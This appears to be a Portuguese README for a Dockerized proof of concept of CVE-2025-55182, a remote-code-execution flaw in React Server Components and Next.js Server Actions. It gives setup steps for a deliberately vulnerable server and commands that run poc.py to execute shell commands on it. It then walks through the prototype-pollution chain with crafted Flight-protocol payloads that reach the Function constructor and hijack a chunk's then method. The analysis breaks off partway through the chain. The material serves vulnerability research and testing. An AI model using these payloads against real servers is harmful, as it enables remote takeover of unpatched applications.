
Dockerized proof-of-concept para CVE-2025-55182, uma RCE crítica em React Server Components via poluição de protótipo, com scripts de exploit automatizados e um ambiente de teste Next.js vulnerável.
Este repositório contém uma prova de conceito dockerizada para a CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código nos React Server Components (RSC) que afeta aplicações Next.js que utilizam Server Actions.
A prova de conceito original e a análise da vulnerabilidade foram criadas por msanft. Este repositório estende o trabalho deles ao fornecer um ambiente de teste dockerizado para facilitar os testes e a demonstração.
requests (pip install requests)Inicie o servidor Next.js vulnerável:
docker compose up --build -d
Aguarde o servidor iniciar (verifique os logs com docker compose logs -f nextjs-server)
Execute o exploit:
# Automated script (recommended)
./exploit-docker.sh
# Or manually
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Verifique se o exploit funcionou:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) dentro do contêinerEste repositório inclui uma configuração Docker completa para testar a vulnerabilidade:
docker-compose.yml - Configuração do Docker Composetest-server/ - Aplicação Next.js vulneráveltest-server/Dockerfile - Dockerfile de produçãotest-server/Dockerfile.dev - Dockerfile de desenvolvimento (opcional)O servidor vulnerável executa Next.js 16.0.6 com uma Server Action simples que pode ser explorada.
poc.py - Script Python de prova de conceito (original de msanft, com correções de escape de aspas)exploit-docker.sh - Script de exploit automatizado para o ambiente DockerDOCKER_SETUP.md - Documentação abrangente de configuração Docker# Stop the container
docker compose down
# Remove everything (including volumes)
docker compose down -v
A análise detalhada da vulnerabilidade, a cadeia de exploração e as informações sobre o patch da pesquisa original são fornecidas abaixo.
Esta vulnerabilidade permite RCE nas React Server Functions, como as oferecidas pelo Next.js por meio de referências inseguras a protótipos.
Não sou especialista em React ou Next.js, portanto, leve todas as informações aqui com um grão de sal. Além disso, ainda estou no processo de análise, então o que descrevo abaixo como "a vulnerabilidade" pode ser apenas uma pequena parte de toda a cadeia.
O React oferece Server Functions[^1], que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência, ou realizar requisições autenticadas para as quais o cliente não possui credenciais.
O React usa algo chamado React Flight Protocol[^2] para serialização dos valores passados às Server Functions.
O cliente passa "chunks" para o servidor, por exemplo, via form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Como mostrado, esses chunks podem ter referências entre si. O payload acima é desserializado no servidor da seguinte forma:
{ object: 'fruit', name: 'cherry' }
O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica da vulnerabilidade real.
Até este commit[^3], ao percorrer chunks na resolução de referências,
como obter fruitName do chunk 2 no exemplo acima, o React
não verificava se a chave solicitada estava de fato definida no objeto.
Isso nos permitia obter o protótipo do objeto[^4].
Isso pode ser demonstrado com um payload como este:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Que é desserializado para o construtor de função[^5]:
[Function: Function]
Quando o chunk com ID 0 não é um array, mas um objeto, podemos
definir a chave then como o construtor de função. O objeto é então
retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando isso retorna um thenable, o await no chamador o invocará.
Isso é o que acontece com este payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Levando a este erro:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
O erro se parece com isso porque o V8 chama uma função aguardada (awaited)
com as funções internas resolve e reject, que, quando
convertidas com toString, são serializadas para algo como isto:
function () { [native code] }
Como podemos trivialmente obter o construtor Function, o
caminho direto é encontrar um gadget de chamada que invoque o
construtor com um valor controlado pelo usuário (ou seja, o código da
função como uma string) e depois chame a função retornada.
Existem vários lugares que podem chamar o construtor de função,
por exemplo, resolveServerReference, onde id é um objeto controlado,
e lastIndexOf pode ser sobrescrito para retornar uma string controlada
pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser
sobrescrito para o construtor de função. No entanto, esse lugar não funciona
porque a segunda invocação de .slice() fornece um número como primeiro
argumento, que, pelo que sei, nunca pode ser tratado pelo construtor
de função.
Aqui, uma ideia brilhante de maple3142[^7] entra em cena. Quando getChunk
obtém o chunk no ID 0 como referência raiz para começar a resolver a cadeia
de referências, esse mesmo chunk pode resolver para um "chunk falso"
criado especialmente.
Podemos referenciar o chunk 0 criado no chunk 1 usando a
sintaxe $@, que retorna o chunk "cru", não o seu valor resolvido:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando isso com nossa sobrescrita de then acima, podemos criar
algo como isto:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Aqui, o chunk 0 sobrescreve seu próprio .then() com o .then() de
sua própria representação de chunk cru. Em termos simples, sobrescrevemos
nosso próprio .then() com Chunk.prototype.then, que existe, pois
os Chunks são thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...